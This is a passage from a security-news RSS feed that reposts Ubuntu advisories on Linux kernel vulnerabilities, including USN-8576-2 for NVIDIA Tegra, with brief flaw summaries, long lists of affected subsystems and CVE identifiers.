  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8576-2: Linux kernel (NVIDIA Tegra) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:31:00 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71235, CVE-2025-71236,
CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265,
CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287,
CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066,
CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434,
CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551,
CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
